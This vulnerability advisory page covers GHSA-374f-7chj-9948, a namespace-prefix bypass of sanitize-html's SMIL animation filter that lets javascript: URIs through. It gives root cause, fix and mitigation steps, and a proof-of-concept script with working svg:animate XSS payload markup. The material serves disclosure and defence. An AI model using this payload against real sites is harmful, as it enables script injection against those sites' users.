ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)GHSA-374f-7chj-9948
LOWFix: apostrophecms/apostrophe@9500b8bGHSA-374f-7chj-9948 is a low-severity (CVSS 3.7) Cross-site Scripting (XSS) vulnerability in sanitize-html. A fix is available for sanitize-html — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-374f-7chj-9948.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-374f-7chj-9948 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
sanitize-htmlnpmDescription
Summary
sanitize-html 2.17.7 introduced animatesUrlAttribute() to block SVG animation elements (animate, animateColor, animateMotion, animateTransform, set) when their attributeName targets a URL sink like href. However, this check is bypassed when the animation element uses a namespace prefix (e.g., svg:animate instead of animate).
Root Cause
The animatesUrlAttribute function (index.js, line ~832) checks svgAnimationTags.indexOf(name.toLowerCase()), where svgAnimationTags contains bare local names: ["animate", "animatecolor", "animatemotion", "animatetransform", "set"]. htmlparser2 passes namespace-prefixed tag names verbatim, so svg:animate does not match animate in the array, causing the function to return false and skip the SMIL XSS protection.
Ironically, the function already handles namespace prefixes correctly for the attributeName target value (line ~843): const localName = target.slice(target.lastIndexOf(":") + 1) — but this same stripping was not applied to the tag name itself.
Proof of Concept
const sanitizeHtml = require("sanitize-html");
const config = {
allowedTags: false,
allowedAttributes: false,
allowedSchemes: ["http", "https"]
};
// Standard animate — BLOCKED by 2.17.7 fix
const blocked = sanitizeHtml(
`<svg><a href="#safe"><animate attributeName="href" values="#safe;javascript:alert(1)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
config
);
console.log("Standard animate:", blocked.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BLOCKED
// Namespace-prefixed animate — BYPASSES the fix
const bypassed = sanitizeHtml(
`<svg><a href="#safe"><svg:animate attributeName="href" values="#safe;javascript:alert(document.domain)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
config
);
console.log("svg:animate:", bypassed.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BYPASS
All 5 SMIL animation elements are bypassable with any namespace prefix (svg:, xlink:, xml:, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.
Impact
Cross-site scripting (XSS) via SMIL animation retargeting. When an application uses allowedTags: false (common in rich-text editors that want to preserve SVG), an attacker can inject <svg:animate attributeName="href" values="#safe;javascript:..." .../> to override the href attribute of a parent <a> element after the page loads, causing the link to execute JavaScript when clicked.
Suggested Fix
Strip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:
// Before (vulnerable):
if (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {
// After (fixed):
const localTagName = name.toLowerCase().slice(name.lastIndexOf(":") + 1);
if (svgAnimationTags.indexOf(localTagName) === -1) {
Affected Versions
sanitize-html >= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.
Credit
Kai Aizen (SnailSploit) — Adversarial AI & Security Research
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | sanitize-html | ≥ 2.17.7&&< 2.18.0 | 2.18.0npm install sanitize-html@2.18.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sanitize-html, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update sanitize-html to 2.18.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-374f-7chj-9948 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated as Low impact for Red Hat products because triggering the flaw requires non-default, permissive sanitization policies that explicitly allow SVG animation markup and attributes. Exploitation additionally relies on user interaction, requiring a victim to click a maliciously manipulated link…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for GHSA-374f-7chj-9948 (CC BY 4.0)
Frequently Asked Questions
Is GHSA-374f-7chj-9948 in your dependencies?
Find it across npm, including transitive dependencies.